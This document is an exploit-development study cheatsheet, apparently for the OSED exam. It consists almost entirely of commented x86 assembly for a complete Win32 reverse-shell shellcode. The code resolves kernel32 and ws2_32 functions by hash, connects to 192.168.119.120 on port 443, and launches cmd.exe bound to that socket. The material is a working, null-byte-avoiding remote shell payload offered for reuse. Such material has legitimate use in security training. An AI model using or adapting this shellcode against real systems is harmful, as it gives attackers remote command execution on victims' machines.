Win32 Shellcode Cheatsheet for the OSED

SNOWCRASH

Written by: snowcra5h@icloud.com (snowcra5h) 2023

```
" start:                              "  #
"   int3                             ;"  # Breakpoint for Debugging
"   mov   ebp, esp                   ;"  #
"   add   esp, 0xfffff9f0            ;"  # Avoid NULL bytes
```

```
" find_kernel32:                      "  #
"   xor   ecx, ecx                   ;"  # ECX = 0
"   mov   esi,fs:[ecx+30h]           ;"  # ESI = &(PEB) ([FS:0x30])
"   mov   esi,[esi+0Ch]              ;"  # ESI = PEB->Ldr
"   mov   esi,[esi+1Ch]              ;"  # ESI = PEB->Ldr.InInitOrder
```

```
" next_module:                        "  #
"   mov   ebx, [esi+8h]              ;"  # EBX = InInitOrder[X].base_address
"   mov   edi, [esi+20h]             ;"  # EDI = InInitOrder[X].module_name
"   mov   esi, [esi]                 ;"  # ESI = InInitOrder[X].flink (next)
"   cmp   [edi+12*2], cx             ;"  # (unicode) modulename[12] == 0x00 ?
"   jne   next_module                ;"  # No: try next module.
```

```
# ----------
# Executing a CALL to a function located higher in the code
#
" find_function_shorten:             "  #
"   jmp find_function_shorten_bnc   ;"  #   Short jump
```

```
" find_function_ret:                  "  #
"   pop esi                          ;"  #   POP the return address from the stack
"   mov   [ebp+0x04], esi            ;"  #   Save find_function address for later usage
"   jmp resolve_symbols_kernel32     ;"  #
```

```
" find_function_shorten_bnc:          "  #
"   call find_function_ret           ;"  #   Relative CALL with negative offset
```

```
" find_function:                      "  #
"   pushad                           ;"  # Save all registers Base address of kernel32 in EBX

# ----------
# Obtain the Export Directory Table from kernel32.dll
#
"   mov   eax, [ebx+0x3c]            ;"  # offset to PE signature
"   mov   edi, [ebx+eax+0x78]        ;"  # Export Table Directory RVA
"   add   edi, ebx                   ;"  # Export Table Directory VMA

# ----------
# Get the NumberOfNames in ECX and AddressOfNames array in EAX
#
"   mov   ecx, [edi+0x18]            ;"  # NumberOfNames
"   mov   eax, [edi+0x20]            ;"  # AddressOfNames RVA
"   add   eax, ebx                   ;"  # AddressOfNames VMA
"   mov   [ebp-4], eax               ;"  # Save AddressOfNames VMA for later
```

```
" find_function_loop:                 "
# ----------
# If ECX is 0, then we have parsed all exported symbol names
#
"   jecxz find_function_finished    ;"  # Jump to the end if ECX is 0
"   dec   ecx                       ;"  # Decrement our names counter

# ----------
# Get the relative virtual address of a symbol name and then add the base address of kernel32.dll to it,
# resulting in the virtual memory address of the symbol name
#
"   mov   eax, [ebp-4]              ;"  # Restore AddressOfNames VMA
"   mov   esi, [eax+ecx*4]          ;"  # Get the RVA of the symbol name
"   add   esi, ebx                  ;"  # Set ESI to the VMA of the current symbol name
```

```
# ----------
# Hash Routines to Compute Function Names. The CLD instruction clears the direction flag (DF)
# in the EFLAGS register. Executing this instruction will cause
# all string operations to increment the index registers, ESI (where our symbol name is stored), and/or EDI.
#
" compute_hash:                       "  #
"   xor   eax, eax                   ;"  # NULL EAX
"   cdq                              ;"  # NULL EDX
"   cld                              ;"  # Clear direction flag (increment esi)
```

```
# ----------
# The LODSB instruction loads a byte from the memory pointed to by ESI into the
# AL register and then increments the register according to the direction flag.
# We set df to 0 with cld.
#
" compute_hash_again:                 "  #
"   lodsb                            ;"  # Load the next byte from esi into al
"   test  al, al                     ;"  # Check for NULL terminator
"   jz    compute_hash_finished      ;"  # If the ZF is set, we've hit the NULL term
```

```
# ----------
# Creates a unique 4-byte hash for our symbol after we finish iterating over ESI.
#
"   ror   edx, 0x0d                  ;"  # Rotate edx 13 bits to the right
"   add   edx, eax                   ;"  # Add the new byte to the accumulator
"   jmp   compute_hash_again         ;"  # next iteration
```

```
" compute_hash_finished:              "  #
" find_function_compare:              "  #
"   cmp   edx, [esp+0x24]            ;"  # Compare the computed hash with the requested hash
"   jnz   find_function_loop         ;"  # If it doesn't match, go back to find_function_loop
"   mov   edx, [edi+0x24]            ;"  # AddressOfNameOrdinals RVA
"   add   edx, ebx                   ;"  # AddressOfNameOrdinals VMA
"   mov   cx,  [edx+2*ecx]           ;"  # Extrapolate the function's ordinal
"   mov   edx, [edi+0x1c]            ;"  # AddressOfFunctions RVA
"   add   edx, ebx                   ;"  # AddressOfFunctions VMA
"   mov   eax, [edx+4*ecx]           ;"  # Get the function RVA
"   add   eax, ebx                   ;"  # Get the function VMA
"   mov   [esp+0x1c], eax            ;"  # Overwrite stack version of eax from pushad
```

```
# ----------
# Restore the register values and return to the start function
#
" find_function_finished:             "
"   popad                            ;"  # Restore registers
"   ret                              ;"
```

Returns to the last calling function.

```
# ----------
# kernel32.dll resolve
#
" resolve_symbols_kernel32:           "
f"   push {TerminateProcess}          ;"  # TerminateProcess hash
 "   call dword ptr [ebp+0x04]        ;"  # Call find_function
 "   mov   [ebp+0x10], eax            ;"  # Save TerminateProcess address for later usage
f"   push {LoadLibraryA}              ;"  # LoadLibraryA hash
 "   call dword ptr [ebp+0x04]        ;"  # Call find_function
 "   mov   [ebp+0x14], eax            ;"  # Save LoadLibraryA address for later usage
f"   push {CreateProcessA}            ;"  # CreateProcessA hash
 "   call dword ptr [ebp+0x04]        ;"  # Call find_function
 "   mov   [ebp+0x18], eax            ;"  # Save CreateProcessA address for later usage
```

```
# ----------
# ws2_32.dll resolve
#
" load_ws2_32:                        "
"   xor   eax, eax                   ;"  # Null EAX avoiding NULL bytes in our shellcode
"   mov   ax, 0x6C6C                 ;"  # We need the NULL bytes so we use ax here and Null EAX
"   push  eax                        ;"  # Push \0\0ll on the stack
"   push  0x642E3233                 ;"  # Push d.23 on the stack
"   push  0x5F327377                 ;"  # Push _2sw on the stack
"   push  esp                        ;"  # Push ESP so we have a pointer to the string on the stack
"   call dword ptr [ebp+0x14]        ;"  # Call LoadLibraryA("ws2_32.dll")
"   mov   ebx, eax                   ;"  # Move the base address of ws2_32.dll to EBX
```

```
" resolve_symbols_ws2_32:             "
f"   push {WSAStartup}                ;"  # WSAStartup hash
 "   call dword ptr [ebp+0x04]        ;"  # Call find_function
 "   mov   [ebp+0x1C], eax            ;"  # Save WSAStartup address for later usage
f"   push {WSASocketA}                ;"  # WSASocketA hash
 "   call dword ptr [ebp+0x04]        ;"  # Call find_function
 "   mov   [ebp+0x20], eax            ;"  # Save WSAStartup address for later usage
f"   push {WSAConnect}                ;"  # WSAConnect hash
 "   call dword ptr [ebp+0x04]        ;"  # Call find_function
 "   mov   [ebp+0x24], eax            ;"  # Save WSAConnect address for later usage
```

```
# ----------
# Call PIC Functions
#
" call_wsastartup:                    "  # WSAStartup(MAKEWORD(2, 2), &wsaData);
"   mov   eax, esp                   ;"  # Move ESP to EAX
"   mov   cx, 0x590                  ;"  # Move 0x590 to CX
"   sub   eax, ecx                   ;"  # Substract CX from EAX to avoid overwriting the structure later
"   push  eax                        ;"  # Push lpWSAData
"   xor   eax, eax                   ;"  # NULL EAX
"   mov   ax, 0x0202                 ;"  # Move version to AX
"   push  eax                        ;"  # Push wVersionRequired
"   call dword ptr [ebp+0x1C]        ;"  # Call WSAStartup

" call_wsasocketa:                    "  # SOCKET sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
"   xor   eax, eax                   ;"  # NULL EAX
"   push  eax                        ;"  # Push dwFlags
"   push  eax                        ;"  # Push g
"   push  eax                        ;"  # Push lpProtocolInfo
"   mov   al, 0x06                   ;"  # Move AL, IPPROTO_TCP
"   push  eax                        ;"  # Push protocol
"   sub   al, 0x05                   ;"  # Substract 0x05 from AL, AL = 0x01
"   push  eax                        ;"  # Push type
"   inc   eax                        ;"  # Increase EAX, EAX = 0x02
"   push  eax                        ;"  # Push af
"   call dword ptr [ebp+0x20]        ;"  # Call WSASocketA

" call_wsaconnect:                    "  #
"   mov   esi, eax                   ;"  # Move the SOCKET descriptor to ESI
"   xor   eax, eax                   ;"  # NULL EAX
"   push  eax                        ;"  # Push sin_zero[]
"   push  eax                        ;"  # Push sin_zero[]
"   push  0x7877a8c0                 ;"  # Push sin_addr (192.168.119.120)
"   mov   ax, 0xbb01                 ;"  # Move the sin_port (443) to AX
"   shl   eax, 0x10                  ;"  # Left shift EAX by 0x10 bytes
"   add   ax, 0x02                   ;"  # Add 0x02 (AF_INET) to AX
"   push  eax                        ;"  # Push sin_port & sin_family
"   push  esp                        ;"  # Push pointer to the sockaddr_in structure
"   pop   edi                        ;"  # Store pointer to sockaddr_in in EDI
"   xor   eax, eax                   ;"  # NULL EAX
"   push  eax                        ;"  # Push lpGQOS
"   push  eax                        ;"  # Push lpSQOS
"   push  eax                        ;"  # Push lpCalleeData
"   push  eax                        ;"  # Push lpCalleeData
"   add   al, 0x10                   ;"  # Set AL to 0x10
"   push  eax                        ;"  # Push namelen
"   push  edi                        ;"  # Push *name
"   push  esi                        ;"  # Push s
"   call dword ptr [ebp+0x24]        ;"  # Call WSAConnect
```

```
" create_startupinfoa:                "  #
"   push  esi                        ;"  #  Push hStdError
"   push  esi                        ;"  #  Push hStdOutput
"   push  esi                        ;"  #  Push hStdInput
"   xor   eax, eax                   ;"  #  NULL EAX
"   push  eax                        ;"  #  Push lpReserved2
"   push  eax                        ;"  #  Push cbReserved2 & wShowWindow
"   mov   al, 0x80                   ;"  #  Move 0x80 to AL
"   xor   ecx, ecx                   ;"  #  NULL ECX
"   mov   cx, 0x80                   ;"  #  Move 0x80 to CX
"   add   eax, ecx                   ;"  #  Set EAX to 0x100
"   push  eax                        ;"  #  Push dwFlags
"   xor   eax, eax                   ;"  #  NULL EAX
"   push  eax                        ;"  #  Push dwFillAttribute
"   push  eax                        ;"  #  Push dwYCountChars
"   push  eax                        ;"  #  Push dwXCountChars
"   push  eax                        ;"  #  Push dwYSize
"   push  eax                        ;"  #  Push dwXSize
"   push  eax                        ;"  #  Push dwY
"   push  eax                        ;"  #  Push dwX
"   push  eax                        ;"  #  Push lpTitle
"   push  eax                        ;"  #  Push lpDesktop
"   push  eax                        ;"  #  Push lpReserved
"   mov   al, 0x44                   ;"  #  Move 0x44 to AL
"   push  eax                        ;"  #  Push cb
"   push  esp                        ;"  #  Push pointer to the STARTUPINFOA structure
"   pop   edi                        ;"  #  Store pointer to STARTUPINFOA in EDI

" create_cmd_string:                  "  #
"   mov   eax, 0xff9a879b            ;"  #   Move 0xff9a879b into EAX
"   neg   eax                        ;"  #   Negate EAX, EAX = 00657865
"   push  eax                        ;"  #   Push part of the "cmd.exe" string
"   push  0x2e646d63                 ;"  #   Push the remainder of the "cmd.exe" string
"   push  esp                        ;"  #   Push pointer to the "cmd.exe" string
"   pop   ebx                        ;"  #   Store pointer to the "cmd.exe" string in EBX

" call_createprocessa:                "  #
"   mov   eax, esp                   ;"  #   Move ESP to EAX
"   xor   ecx, ecx                   ;"  #   NULL ECX
"   mov   cx, 0x390                  ;"  #   Move 0x390 to CX
"   sub   eax, ecx                   ;"  #   Substract CX from EAX to avoid overwriting the structure later
"   push  eax                        ;"  #   Push lpProcessInformation
"   push  edi                        ;"  #   Push lpStartupInfo
"   xor   eax, eax                   ;"  #   NULL EAX
"   push  eax                        ;"  #   Push lpCurrentDirectory
"   push  eax                        ;"  #   Push lpEnvironment
"   push  eax                        ;"  #   Push dwCreationFlags
"   inc   eax                        ;"  #   Increase EAX, EAX = 0x01 (TRUE)
"   push  eax                        ;"  #   Push bInheritHandles
"   dec   eax                        ;"  #   NULL EAX
"   push  eax                        ;"  #   Push lpThreadAttributes
"   push  eax                        ;"  #   Push lpProcessAttributes
"   push  ebx                        ;"  #   Push lpCommandLine
"   push  eax                        ;"  #   Push lpApplicationName
"   call dword ptr [ebp+0x18]        ;"  #   Call CreateProcessA

" call_terminateprocess:              "  # TerminateProcess(-1, 0)
"   xor   ecx, ecx                   ;"  # Null ECX
"   push  ecx                        ;"  # uExitCode
"   push  0xffffffff                 ;"  # hProcess
"   call dword ptr [ebp+0x10]        ;"  # Call TerminateProcess
```